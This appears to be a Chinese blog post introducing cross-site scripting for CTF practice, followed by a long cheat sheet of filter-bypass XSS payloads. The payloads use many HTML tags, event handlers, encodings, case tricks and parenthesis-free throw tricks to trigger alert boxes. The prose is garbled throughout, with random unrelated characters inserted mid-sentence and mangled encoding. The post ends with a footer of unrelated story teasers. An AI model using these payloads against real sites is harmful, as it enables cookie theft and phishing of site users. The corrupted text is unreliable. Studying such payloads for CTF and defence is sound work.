1贝咙、XSS簡介及繞過方法介紹

一样悟、概念:
? ? ? xss跨站腳本:一種經(jīng)常出現(xiàn)在WEB應(yīng)用程序中的計(jì)算機(jī)安全漏洞,是由于WEB應(yīng)用程序?qū)τ脩舻妮斎脒^濾不足而產(chǎn)生的庭猩。攻擊者利用網(wǎng)站漏洞把惡意代碼的腳本注入到網(wǎng)頁中去窟她,當(dāng)其他用戶瀏覽這些網(wǎng)站的時候,就會執(zhí)行其中的惡意代碼眯娱,竊取用戶的cookies礁苗,會話劫持,釣魚欺騙徙缴。

二试伙、分類:
? ? 1嘁信、反射型也稱非持久性腳本,主要將惡意腳本附加到URL地址的參數(shù)值中疏叨,通常出現(xiàn)在網(wǎng)站的搜索欄潘靖、用戶登錄入口等,用來竊取客戶端cookies或進(jìn)行釣魚欺騙蚤蔓。
? ? 2卦溢、持久性跨站腳本,不需要用戶單擊特定URL就能執(zhí)行跨站腳本秀又,攻擊者實(shí)現(xiàn)將惡意JavaScript代碼上傳或存儲到漏洞服務(wù)器中单寂,只要受害者瀏覽包含惡意JavaScript代碼的頁面就會執(zhí)行惡意代碼,一般出現(xiàn)在網(wǎng)站的留言吐辙、評論宣决、博客日志等交互處,惡意腳本被存儲到客戶端或者服務(wù)器數(shù)據(jù)庫中 昏苏。

三尊沸、CTF中的XSS
? ? ? CTF中的XSS題目設(shè)計(jì)一般為:要求參賽者在網(wǎng)址或者網(wǎng)頁的搜索框中插入非持久性腳本,繞過關(guān)鍵詞過濾贤惯,腳本運(yùn)行彈出窗口洼专,網(wǎng)頁后臺代碼會檢測網(wǎng)頁是否有窗口彈出,有彈出孵构,網(wǎng)頁會執(zhí)行后臺代碼屁商,跳轉(zhuǎn)網(wǎng)頁給出flag或者直接彈出帶有flag的窗口。

四浦译、xss繞過關(guān)鍵詞過濾
? ? ? 解答CTF中的XSS題目棒假,目的就是能讓自己插入的代碼運(yùn)行彈出窗口溯职,獲取flag精盅。

1、利用彈窗標(biāo)簽,這是最主要的一種方法谜酒,其他方法都是圍繞其服務(wù)

a標(biāo)簽

#javascript協(xié)議
<a href=javascript:alert(1)>點(diǎn)我啊</a>

# data協(xié)議
<a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==>點(diǎn)我</a>

# url編碼的data協(xié)議
<a? ? href=data:text/html;%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%2829%29%3C%2F%73%63%72%69%70%74%3E>

# 另兩種方式實(shí)現(xiàn)
<a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="black"/></a></svg>
<math><a xlink:href=javascript:alert(1)>點(diǎn)我</math>

script標(biāo)簽

# 直接彈窗
<script>alert(1)</script>
<script>confirm(1)</script>
<script>pormpt(1)</script>

# javascript協(xié)議編碼
<script>alert(String.fromCharCode(49))</script>

# 如果輸出是在setTimeout里叹俏,我們依然可以直接執(zhí)行alert(1)
<script>setTimeout('alert(1)',0)</script>

button標(biāo)

# 點(diǎn)擊彈窗
<button/onclick=alert(1) >點(diǎn)我</button>

# 不需要點(diǎn)擊就能彈窗
<button onfocus=alert(1) autofocus>

p標(biāo)簽

# 可以直接使用事件觸發(fā)
<p/onmouseover=alert(1)>點(diǎn)我</p>

img標(biāo)簽

# 可以使用事件觸發(fā)
<img src=x onerror=alert(1)>

body標(biāo)簽

# 事件觸發(fā)
<body onload=alert(1)>

# onscroll 事件在元素滾動條在滾動時觸發(fā),即頁面存在很多內(nèi)容僻族,需要滾動才能看到下面的內(nèi)容粘驰,就會觸發(fā)
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

var標(biāo)簽

# 事件觸發(fā),一般是用不需交互的事件比如鼠標(biāo)移動等
<var onmousemove=alert(1)>M</var>

div標(biāo)簽

# 事件觸發(fā)
<div/onclick='alert(1)'>X</div>

input標(biāo)簽

和button一樣通過autofocus可以達(dá)到無需交互即可彈窗的效果述么。
<input onfocus=javascript:alert(1) autofocus>
<input onblur=javascript:alert(1) autofocus><input autofocus>

select標(biāo)簽

<select onfocus=javascript:alert(1) autofocus>

textarea標(biāo)簽

<textarea onfocus=javascript:alert(1) autofocus>

keygen標(biāo)簽

<keygen onfocus=javascript:alert(1) autofocus>

frameset標(biāo)簽

<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>

svg標(biāo)簽

<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>

math標(biāo)簽

<math href="javascript:javascript:alert(1)">CLICKME</math>
<math><y/xlink:href=javascript:alert(51)>test1

video標(biāo)簽

<video><source onerror="alert(1)">
<video src=x onerror=alert(48)>

audio標(biāo)簽

<audio src=x onerror=alert(47)>

embed標(biāo)簽

<embed src=javascript:alert(1)>

meta標(biāo)簽

? ? 測試時發(fā)現(xiàn)蝌数,文章標(biāo)題跑到meta標(biāo)簽中,那么只需要跳出當(dāng)前屬性再添加http-equiv=”refresh”度秘,就可以構(gòu)造一個有效地xss payload顶伞。還有一些猥瑣的思路,就是通過給http-equiv設(shè)置set-cookie,進(jìn)一步重新設(shè)置cookie來干一些猥瑣的事情唆貌。
<meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/><meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">

marquee標(biāo)簽

<marquee onstart="alert('1')"></marquee>

isindex標(biāo)簽

<isindex type=image src=1 onerror=alert(1)>
<isindex action=javascript:alert(1) type=image>

? ? 當(dāng)過濾掉javascript滑潘,alert等常見關(guān)鍵詞,單引號锨咙,雙引號语卤,分號時,可以嘗試使用以上不同的標(biāo)簽插入酪刀,達(dá)到彈出窗口的目的粹舵。

2. 大小寫繞過:<sCript>

3. alert被過濾,可以嘗試prompt和confirm

4. 空格被過濾:<img/src=""onerror=alert(2)> <svg/onload=alert(2)></svg>

5. <imgsrc="1"onerror="alert(1)">和<imgsrc="1"onerror="alert(1)">是等效的骂倘,沒有過濾&齐婴,#等符號,我們就可以寫入任意字符

6. 長度限制時: <q/oncut=alert(1)>//在限制長度的地方很有效

7. 括號被過濾,可以使用throw來拋出數(shù)據(jù)
<a onmouseover="javascript:window.onerror=alert;throw 1">2</a>
<img src=x onerror="javascript:window.onerror=alert;throw 1">

9. 過濾某些關(guān)鍵字(如:javascript) 可以在屬性中的引號內(nèi)容中使用空字符稠茂、空格柠偶、TAB換行、注釋睬关、特殊的函數(shù)诱担,將代碼行隔開。如:javas%09cript:alert()电爹、javas%0acript:alert()蔫仙、javas%0dcript:alert(),其中%0a表示換行丐箩。

10摇邦、寬字節(jié)繞過:gbxxxx系列的編碼,那么我們嘗試一下寬字節(jié)? %c0屎勘,%bf施籍,%5c,%df

11概漱、編碼繞過:十六進(jìn)制編碼丑慎、jsfuck編碼、url編碼瓤摧、unicode編碼

<0x736372697074>alert('123')</0x736372697074>
<img src="1" onerror="alert(1)">

五竿裂、總結(jié)

? ? 談了這么多關(guān)于XSS繞過的內(nèi)容,其實(shí)要想記住上面的所有內(nèi)容很難照弥,也完全沒有必要腻异,上面的方法其實(shí)只是提供一種思路,具體的繞過還得在實(shí)踐中來檢驗(yàn)这揣,下面的章節(jié)將帶領(lǐng)大家在練習(xí)題目中去使用這些方法悔常。

注:以上內(nèi)容僅供學(xué)習(xí)交流使用敢会,嚴(yán)禁使用于非法途徑。

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末这嚣,一起剝皮案震驚了整個濱河市鸥昏,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌姐帚,老刑警劉巖吏垮,帶你破解...
    沈念sama閱讀 219,427評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異罐旗,居然都是意外死亡膳汪,警方通過查閱死者的電腦和手機(jī),發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,551評論 3 395
  • 文/潘曉璐 我一進(jìn)店門九秀,熙熙樓的掌柜王于貴愁眉苦臉地迎上來遗嗽,“玉大人,你說我怎么就攤上這事鼓蜒”曰唬” “怎么了?”我有些...
    開封第一講書人閱讀 165,747評論 0 356
  • 文/不壞的土叔 我叫張陵都弹,是天一觀的道長娇豫。 經(jīng)常有香客問我,道長畅厢,這世上最難降的妖魔是什么冯痢? 我笑而不...
    開封第一講書人閱讀 58,939評論 1 295
  • 正文 為了忘掉前任,我火速辦了婚禮框杜,結(jié)果婚禮上浦楣,老公的妹妹穿的比我還像新娘。我一直安慰自己咪辱,他們只是感情好振劳,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,955評論 6 392
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著梧乘,像睡著了一般澎迎。 火紅的嫁衣襯著肌膚如雪庐杨。 梳的紋絲不亂的頭發(fā)上选调,一...
    開封第一講書人閱讀 51,737評論 1 305
  • 那天,我揣著相機(jī)與錄音灵份,去河邊找鬼仁堪。 笑死,一個胖子當(dāng)著我的面吹牛填渠,可吹牛的內(nèi)容都是我干的弦聂。 我是一名探鬼主播鸟辅,決...
    沈念sama閱讀 40,448評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼莺葫!你這毒婦竟也來了匪凉?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,352評論 0 276
  • 序言:老撾萬榮一對情侶失蹤捺檬,失蹤者是張志新(化名)和其女友劉穎再层,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體堡纬,經(jīng)...
    沈念sama閱讀 45,834評論 1 317
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡聂受,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,992評論 3 338
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了烤镐。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片蛋济。...
    茶點(diǎn)故事閱讀 40,133評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖炮叶,靈堂內(nèi)的尸體忽然破棺而出碗旅,到底是詐尸還是另有隱情,我是刑警寧澤镜悉,帶...
    沈念sama閱讀 35,815評論 5 346
  • 正文 年R本政府宣布扛芽,位于F島的核電站,受9級特大地震影響积瞒,放射性物質(zhì)發(fā)生泄漏川尖。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,477評論 3 331
  • 文/蒙蒙 一茫孔、第九天 我趴在偏房一處隱蔽的房頂上張望叮喳。 院中可真熱鬧,春花似錦缰贝、人聲如沸馍悟。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,022評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽锣咒。三九已至,卻和暖如春赞弥,著一層夾襖步出監(jiān)牢的瞬間毅整,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,147評論 1 272
  • 我被黑心中介騙來泰國打工绽左, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留悼嫉,地道東北人。 一個月前我還...
    沈念sama閱讀 48,398評論 3 373
  • 正文 我出身青樓拼窥,卻偏偏與公主長得像戏蔑,于是被迫代替她去往敵國和親蹋凝。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 45,077評論 2 355

推薦閱讀更多精彩內(nèi)容